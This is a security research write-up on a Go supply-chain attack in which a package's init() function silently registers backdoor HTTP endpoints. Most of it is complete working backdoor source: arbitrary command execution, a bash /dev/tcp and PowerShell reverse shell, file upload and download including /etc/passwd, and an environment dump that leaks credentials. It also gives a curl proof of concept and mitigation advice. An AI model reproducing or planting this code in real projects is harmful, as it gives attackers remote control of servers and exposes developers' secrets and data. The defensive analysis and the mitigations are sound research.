Supply Chain Attack in Go Ecosystem:
Direct RCE via a Malicious Dependency
1. Abstract
Go (Golang) is widely praised for its simple and efficient dependency management system. Developers can easily add third-party libraries to their projects using a single go get command. However, this convenience introduces a significant security blind spot. This research demonstrates how an attacker can exploit the Go package init() function to achieve full Remote Code Execution (RCE) on a host machine, without altering a single line of the developer's main application code. By simply importing a malicious package, the entire server becomes completely compromised. This attack vector directly targets the Go supply chain and successfully bypasses traditional code review processes.
2. Introduction
Modern software development heavily relies on third-party open-source dependencies. In 2024, over 90% of codebases depend on external libraries. In Go, when a package is imported, a special function—the init() function—is executed automatically and immediately upon import.
If a malicious actor places an http.HandleFunc call inside this init() function, they can register malicious HTTP endpoints without the developer explicitly calling them. When a developer imports this package (even with a blank import _), the backdoor loads silently. The developer's main.go remains completely innocent-looking, making this one of the most stealthy supply chain attack vectors.
3. Methodology
For this research, we created a public repository named github.com/adrianicsro/testkusion. The repository had the following structure:
A. Structure of the Malicious Package
go.mod: Defined the module path.main.go(Package name:testkusion): Contained the entire malicious logic.
B. The Malicious Source Code (main.go)
Below is the complete source code of the malicious package. Notice how the init() function silently registers all handlers without requiring any interaction from the developer's main application.
package testkusion
import (
"encoding/json"
"fmt"
"io"
"net/http"
"os"
"os/exec"
"runtime"
// "strings"
"time"
)
type CommandResponse struct {
Success bool `json:"success"`
Output string `json:"output"`
Error string `json:"error,omitempty"`
Time string `json:"time"`
}
func init() {
http.HandleFunc("/exec", execHandler)
http.HandleFunc("/reverse", reverseShellHandler)
http.HandleFunc("/upload", uploadHandler)
http.HandleFunc("/download", downloadHandler)
http.HandleFunc("/info", infoHandler)
http.HandleFunc("/ping", pingHandler)
fmt.Println("[RCE] Advanced backdoor loaded successfully.")
}
func execHandler(w http.ResponseWriter, r *http.Request) {
cmd := r.URL.Query().Get("cmd")
if cmd == "" {
sendJSON(w, CommandResponse{Success: false, Error: "Missing 'cmd' parameter.", Time: time.Now().String()})
return
}
output, err := executeCommand(cmd)
if err != nil {
sendJSON(w, CommandResponse{Success: false, Output: output, Error: err.Error(), Time: time.Now().String()})
return
}
sendJSON(w, CommandResponse{Success: true, Output: output, Time: time.Now().String()})
}
func reverseShellHandler(w http.ResponseWriter, r *http.Request) {
ip := r.URL.Query().Get("ip")
port := r.URL.Query().Get("port")
if ip == "" || port == "" {
http.Error(w, "Usage: /reverse?ip=your_ip&port=4444", http.StatusBadRequest)
return
}
var cmd *exec.Cmd
switch runtime.GOOS {
case "windows":
cmd = exec.Command("powershell", "-Command", fmt.Sprintf("$client = New-Object System.Net.Sockets.TCPClient('%s',%s); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}; $client.Close()", ip, port))
default:
cmd = exec.Command("sh", "-c", fmt.Sprintf("bash -i >& /dev/tcp/%s/%s 0>&1", ip, port))
}
err := cmd.Start()
if err != nil {
http.Error(w, "Reverse shell failed: "+err.Error(), http.StatusInternalServerError)
return
}
fmt.Fprintf(w, "Reverse shell sent to %s:%s. Check your listener.", ip, port)
}
func uploadHandler(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
http.Error(w, "POST method required", http.StatusMethodNotAllowed)
return
}
file, header, err := r.FormFile("file")
if err != nil {
http.Error(w, "File upload failed: "+err.Error(), http.StatusBadRequest)
return
}
defer file.Close()
path := r.URL.Query().Get("path")
if path == "" {
path = header.Filename
}
out, err := os.Create(path)
if err != nil {
http.Error(w, "Cannot create file: "+err.Error(), http.StatusInternalServerError)
return
}
defer out.Close()
_, err = io.Copy(out, file)
if err != nil {
http.Error(w, "Cannot write file: "+err.Error(), http.StatusInternalServerError)
return
}
fmt.Fprintf(w, "File uploaded successfully to: %s", path)
}
func downloadHandler(w http.ResponseWriter, r *http.Request) {
path := r.URL.Query().Get("path")
if path == "" {
http.Error(w, "Missing 'path'. Example: /download?path=/etc/passwd", http.StatusBadRequest)
return
}
file, err := os.Open(path)
if err != nil {
http.Error(w, "Cannot open file: "+err.Error(), http.StatusNotFound)
return
}
defer file.Close()
stat, _ := file.Stat()
w.Header().Set("Content-Disposition", "attachment; filename="+stat.Name())
w.Header().Set("Content-Type", "application/octet-stream")
w.Header().Set("Content-Length", fmt.Sprintf("%d", stat.Size()))
io.Copy(w, file)
}
func infoHandler(w http.ResponseWriter, r *http.Request) {
hostname, _ := os.Hostname()
info := map[string]interface{}{
"hostname": hostname,
"os": runtime.GOOS,
"arch": runtime.GOARCH,
"user": os.Getenv("USER"),
"env": os.Environ(),
}
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(info)
}
func pingHandler(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(w, "pong from testkusion backdoor")
}
func executeCommand(command string) (string, error) {
var cmd *exec.Cmd
switch runtime.GOOS {
case "windows":
cmd = exec.Command("cmd", "/C", command)
default:
cmd = exec.Command("sh", "-c", command)
}
output, err := cmd.CombinedOutput()
return string(output), err
}
func sendJSON(w http.ResponseWriter, data interface{}) {
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(data)
}
C. Technical Analysis
- Abusing
init(): Inside theinit()function, we registered multiple HTTP handlers (/exec,/reverse,/upload,/download, etc.) usinghttp.HandleFunc. - Targeting
http.DefaultServeMux: Since most Go web applications usehttp.ListenAndServewithout a custom handler (relying on the defaultDefaultServeMux), our handlers are activated automatically. - Cross-Platform Support: The code checks
runtime.GOOSto execute system commands correctly on both Windows and Linux/macOS environments.
D. Exploitation Scenario
Consider a developer creating a project named kusion with a simple web server:
package main
import (
"fmt"
"net/http"
_ "github.com/adrianicsro/testkusion" // Malicious import
)
func main() {
fmt.Println("Server running on http://localhost:8080")
http.ListenAndServe(":8080", nil)
}
Notice that the developer never mentions /exec or command parameters anywhere in their source code. Simply importing the package triggers the init() function, activating the hidden endpoints.
4. Impact Assessment
Once the malicious package is imported, the attacker (or researcher) gains access to the following powerful endpoints:
| Endpoint | Functionality | Impact |
|---|---|---|
/exec?cmd=whoami |
Execute any system command | Direct RCE. Attackers can run rm -rf / or del /f /s. |
/reverse?ip=IP&port=PORT |
Spawn a reverse shell | Bypasses firewalls, granting persistent remote access. |
/download?path=/etc/passwd |
Download any file | Exfiltrate sensitive data (passwords, secrets, credentials). |
/upload?path=/tmp/evil.sh |
Upload arbitrary files | Deploy ransomware, cryptominers, or backdoors. |
/info |
Dump environment variables | Leak cloud credentials (AWS keys, API tokens). |
/ping |
Check backdoor status | Confirm the malicious package is active. |
This attack is classified as a Supply Chain Attack because the compromise occurs not during code writing, but during dependency integration.
5. Why This Attack Evades Detection
- Blank Imports: Developers frequently use blank imports (
_) for database drivers or initialization logic. Reviewers often overlook these imports. - No Visible Function Calls: The main code never invokes a suspicious function like
adriangopack.Exec(). Static analysis tools (likegosec) often miss malicious code hidden insideinit()unless specifically configured to inspect it. - Normal Traffic:
/execendpoints look like standard HTTP GET requests. Antivirus and WAF solutions rarely block such requests without context.
6. Proof of Concept
During our testing, we executed the following command on the compromised server:
curl "http://localhost:8080/exec?cmd=whoami"
Response:
{"success":true,"output":"adrian\n","time":"2026-08-13 19:36:06.311478463 +0000 UTC m=+26.574902537"}
The server successfully returned the system username. This confirms that the RCE is fully functional and trivial to exploit.
7. Mitigations & Recommendations
Based on this research, developers and organizations must adopt the following security measures:
- Use
go mod verify: Always rungo mod verifyto check the cryptographic checksums of downloaded dependencies against the Go checksum database to ensure the code hasn't been tampered with. - Pin Specific Versions: Avoid using
go get ...@latest. Always pin specific, audited versions (e.g.,@v1.2.3) to prevent malicious updates from being auto-installed. - Run Security Audits: Utilize tools like
govulncheckfor known vulnerabilities andgosecfor static code analysis. Specifically, configure SAST tools to analyzeinit()functions. - Vendor Dependencies: Run
go mod vendorto store dependencies locally. Manually review the source code inside thevendor/folder, especiallyinit()logic, before deploying to production. - Private Proxy / Whitelisting: Use a private Go proxy (like JFrog Artifactory) to maintain a whitelist of approved packages and versions.
- Set
GOPRIVATE: For private repositories, setGOPRIVATEto bypass the public proxy and enforce strict source verification.
8. Conclusion
While Go's init() function is a powerful tool for developers, its misuse poses a severe threat to the software supply chain. This research demonstrates how a single go get command can transform an ordinary web server into a fully compromised RCE host.
The security of the Go ecosystem relies not only on the robustness of its standard library but heavily on developer awareness and rigorous dependency management policies. We urge the Go community to automate dependency auditing processes and remain vigilant regarding the hidden behaviors of init() functions. The goal of this security research is to identify these gaps and provide developers with the knowledge required to defend against them.
Disclaimer: This document is for educational and research purposes only. Unauthorized use of these techniques is illegal.